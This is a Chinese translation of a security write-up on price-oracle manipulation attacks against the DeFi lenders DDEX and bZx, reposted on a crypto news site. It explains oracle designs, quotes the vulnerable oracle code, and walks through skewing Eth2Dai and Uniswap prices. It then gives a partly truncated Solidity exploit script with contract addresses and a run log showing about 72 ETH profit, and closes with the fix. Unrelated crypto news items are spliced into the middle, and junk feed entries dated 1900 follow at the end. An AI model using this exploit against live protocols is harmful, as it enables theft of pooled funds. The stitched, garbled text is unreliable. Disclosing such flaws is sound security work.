譯文出自:登鏈翻譯計劃
譯者:翻譯小組
校對:Tiny熊
太長不看版
因依賴鏈上去中心化的價格預言而不驗證返回的價格,DDEX和bZx容易受到價格操縱攻擊。這導致DDEX的ETH/DAI市場損失ETH流動性,以及bZx中所有損失流動性資金,在本文中,將介紹價格操縱攻擊的原理、如何實施的攻擊、以及如何應對。
什么是去中心化貸款?
首先,讓我們談談傳統貸款。貸款時,通常需要提供某種抵押品,這樣,如果你拖欠貸款,貸方便可以扣留抵押品。為了確定你需要提供多少抵押品,貸方通常會知道或能夠可靠地計算出抵押品的公平市場價值(FMV)。
在去中心化貸款中,除了貸方現在是與外界隔離的智能合約之外,其他過程相同。這意味著它不能簡單地“知道”你提供的任何抵押品的FMV。
為了解決此問題,開發人員指示智能合約查詢價格預言機,該預言機接受代幣地址并返回對應計價貨幣(例如ETH或USD)的當前價格。不同的DeFi項目采用了不同的方法來實現此預言機,但通常可以將它們全部歸類為以下五種方式之一(盡管某些實現比其他實現更模糊):
鏈下中心化預言機這種類型的預言機只接受來自鏈下價格來源的新價格,通常來自項目控制的帳戶。由于需要使用新匯率快速通知更新預言機,因此該帳戶通常是EOA,而不是多簽錢包。可能需要進行一些合理的檢查,以確保價格波動不會太大。Compound和Synthetix的大多數資產使用這種類型的預言機。
Ark Invest周一通過三支基金增持超9萬股Block股票:金色財經報道,Cathie Wood 的 Ark Invest 周一通過三支基金增持了 92,165 股 Block 股票。購買成本估計約為 640 萬美元。根據其最新的交易文件,Ark Invest 在其 Ark Innovation ETF 中增加了 77,991 股,在 Ark Next Generation Internet 中增加了 13,170 股,在 Ark Fintech Innovation ETF 中增加了 1,004 股。Block 的股價周一收盤下跌約 2.2% 至 69.46 美元。根據收盤價,方舟最近的收購成本約為 640 萬美元。[2023/3/14 13:03:44]
鏈下去中心化預言機這種預言機從多個鏈下來源接受新價格,并通過數學函數(例如平均值)合并這些值。在此模型中,通常使用多簽名錢包來管理授權價格源列表。Maker針對ETH和其他資產使用這種類型的預言機。
鏈上中心化預言機這種類型的預言機使用鏈上價格來源(例如DEX)確定資產價格。但是,只有授權賬號才能觸發預言機從鏈上源讀取。像鏈下中心化預言機一樣,這種類型的預言機需要快速更新,因此授權觸發帳戶可能是EOA而不是多簽錢包。dYdX和Nuo針對一些資產使用這種類型的預言機。
鏈上去中心化預言機這種預言機使用鏈上價格來源確定資產價格,但是任何人都可以更新。可能需要進行一些合理檢查,以確保價格波動不會太大。DDEX將這種類型的預言機用于DAI,而bZx對所有資產使用這種類型的預言機。
巴拉圭眾議院通過了一項規范加密采礦和交易的法案:金色財經報道,巴拉圭眾議院周三以 40-12 票通過了一項規范加密采礦和交易的法案。該國參議院在 12 月已經通過了類似的立法,該法案現在將在眾議院修改后返回該機構,一旦參議院批準了這些修改,未決的法律將移交給行政部門,行政部門尚未表明是否會簽署或否決。去年,該法案的作者之一 Carlos Rejala 在接受采訪時表示,該法案旨在吸引國際礦工來到巴拉圭,巴拉圭是拉丁美洲電價最低的國家之一,每千瓦時 5 美分左右。
如果該法案成為法律,個人和企業礦工將必須申請工業用電授權,然后申請許可證。該提案還為旨在為第三方提供加密交易或托管服務的任何個人或法人實體創建了一個注冊表,但不包括交換的概念。(Coindesk)[2022/5/26 3:42:16]
常量預言機這種類型的預言機簡單地返回一個常數,通常用于穩定幣。由于USDC釘住美元,因此上述幾乎所有項目都將這種類型的預言機用于USDC。
問題
在尋找其他易受攻擊的項目時,我看到了這條推文:
老實說,我擔心他們會將其用作價格喂價源。如果我的預感是正確的,那很容易受到攻擊。
—Vitalik非以太贈予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice
uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice
周杰倫已通過Machi收到BendDAO.eth轉回的BAYC#3738:4月30日消息,周杰倫已通過Machi收到BendDAO.eth轉回的BAYC#3738,且BendDAO已做好準備幫助用戶在后臺領取Yuga Labs Otherdeeds土地空投。據悉,BendDAO將幫助協議內160余只BAYC和220余只MAYC在第一時間獲得Otherdeeds。[2022/4/30 2:41:58]
return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai
uint256bidDai=Eth2Dai
else{returnbidPrice
}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP
else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle
else{return0;}}
參考源碼
為了觸發更新并使預言機刷新其存儲的值,用戶只需調用updatePrice()即可。
瑞士通過《區塊鏈法案》或于2021年初生效:瑞士近日通過一項影響深遠新法律,進一步為加密貨幣打開大門。據悉,在國民議會之后瑞士聯邦議會第二議院國務委員會已經以42比0壓倒性投票通過新的區塊鏈法律《區塊鏈法案》(Blockchain Act),旨在為區塊鏈應用創造更多的法律安全性和更少障礙,并最大程度地減少濫用,并將加密貨幣和區塊鏈技術納入主流。該法案為數字證券交換和加密貨幣交換設定標準,同時為DLT基礎設施商業運營創建一個新框架。盡管瑞士《區塊鏈法案》仍然需要在九月底進行最后表決,但這似乎只是形式上的流程,預計該法案將在2021年初生效。(crypto-news-flash)[2020/9/14]
functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}
參考源碼
攻擊原理
假設我們可以操縱DAI/USD的價格表現。如果是這種情況,我們希望使用它借用系統中的所有ETH,同時提供盡可能少的DAI。為此,我們可以降低ETH/USD的表現價格或增加DAI/USD的表現價格。由于我們已經假設DAI/USD的表現價值是可操縱的,因此我們選擇后者。
為了增加DAI/USD的表現價格,我們可以增加ETH/USD的表現價格,或者降低ETH/DAI的表現價格。基于當前意圖和目的,操縱Maker的預言是不可能的,因此我們將嘗試降低ETH/DAI的表現價值。
湖南婁底首只區塊鏈產業基金順利通過中基協備案:7月14日,湖南鏈城私募股權基金管理有限公司首期基金產品——湖南鏈城壹號私募股權基金企業(有限合伙)順利通過中國證券投資基金業協會備案,標志著婁底市首只專注于投資區塊鏈產業的基金正式成立。
鏈城壹號基金總規模1億元,由婁底市萬寶新區開發投資集團與湖南鏈城私募股權基金管理有限公司共同發起設立, 2020年6月29日完成了首期資金募集。該基金聚焦于區塊鏈產業領域的創新投資項目,目前與杭州趣鏈、德方智鏈、北京金股鏈、眾享比特、鏈興資本等區塊鏈優質企業建立良好合作關系,項目儲備豐富,致力于構建差異化競爭優勢,實現資本與產業互動,為投資者創造價值。(紅網時刻)[2020/7/15]
編者注,因為DAI/USD價格=ETH/USD價格÷ETH/DAI價格
預言機通過Eth2Dai取當前要價和當前出價的平均值來計算ETH/DAI的值。為了降低此值,我們需要通過填充現有訂單來降低當前出價,然后通過下新訂單來降低當前要價。
但是,這需要大量的初始投資(因為我們需要先填寫訂單,然后再生成相等數量的訂單),并且實施起來并不容易。另一方面,我們可以通過在Uniswap大量交易DAI來影響Uniswap中的價格。因此,我們的目標是繞過Eth2Dai邏輯并操縱Uniswap價格。
為了繞過Eth2Dai,我們需要控制價格的波動幅度。我們可以通過以下兩種方式之一進行操作:
清除訂單的一側,而保留另一側。這導致價差正增長
通過列出極端的買入或賣出訂單來強制執行交叉的訂單。這會導致利差下降。
盡管選項2不會因不利訂單而造成任何損失,但SafeMath不允許使用交叉訂單,因此我們無法使用。相反,我們會通過清除訂單的一側來強制產生較大的正價差。這將導致DAI預言機回退到Uniswap來確定DAI的價格。然后,我們可以通過購買大量DAI來降低DAI/ETH的Uniswap價格。一旦操縱了DAI/USD的表現價值,便像往常一樣借貸很簡單。
攻擊演示
以下腳本將通過以下方式獲利約70ETH:
清除Eth2Dai的賣單,直到價差足夠大,以致預言機拒絕價格
從Uniswap購買更多DAI,價格從213DAI/ETH降至13DAI/ETH
用少量DAI(?2500)借出所有可用ETH(?120)
將我們從Uniswap購買的DAI賣回Uniswap
將我們從Eth2Dai購買的DAI賣回Eth2Dai
重置預言機(不想讓其他人濫用我們的優惠價格)
contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")
functioncheckRates()external{uintethPrice=ETH_ORACLE
uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE
functionskewUniswapPrice()internal{DAI
functionskewMatchingMarket()internal{uintstart=DAI
boughtFromMatchingMarket=DAI
functionsteal()external{HydroLike
functioncleanup()external{DAI
functioncheckProfits()external{printf("profits=%
}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/
解決方案
DDEX團隊通過部署新的預言機解決了此問題這對DAI的價格設置了合約價格界限,目前將其設置為0.95和1.05。
本文來源于非小號媒體平臺:
登鏈社區
現已在非小號資訊平臺發布105篇作品,
非小號開放平臺歡迎幣圈作者入駐
入駐指南:
/apply_guide/
本文網址:
/news/9559363.html
免責聲明:
1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險
2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場
上一篇:
幣安為何推出第三條鏈?這對BNB意味著什么?
什么是YFI? YFI的全稱是yearn.finance,YFI是項目Token的名稱。yearn是一個支持各種DeFi協議的聚合理財平臺,會在協議間自動移倉以幫助投資者獲得最大的理財收益.
1900/1/1 0:00:00Azure和AWS的入門級云架構師專業培訓包,探索在全球兩個最大的云系統環境中構建和使用系統。由于沒有.
1900/1/1 0:00:00尊敬的用戶: Hotbit即將開啟FXS(FraxShare)數字資產服務,并開放FXS理財產品。預計年化收益:10%;計息:T1.
1900/1/1 0:00:00近期可謂一路交易一路順,行情好,感覺也對了,每日交易的次數也在增加。以太坊一天幾十個點的利潤也不再那么艱難,前提是你要有專業技術能力做支撐輔助.
1900/1/1 0:00:00鏈聞消息,鏈上衍生品協議Opium??Protocol?宣布推出保險應用OpiumInsurance,后續還將推出原生代幣OPIUM的流動性挖礦計劃.
1900/1/1 0:00:00親愛的用戶: 由于XRP全節點升級,紅米交易所現已暫停XRP的充值和提現。紅米交易所將在XRP升級完畢后恢復充提業務,具體時間將以公告另行通知.
1900/1/1 0:00:00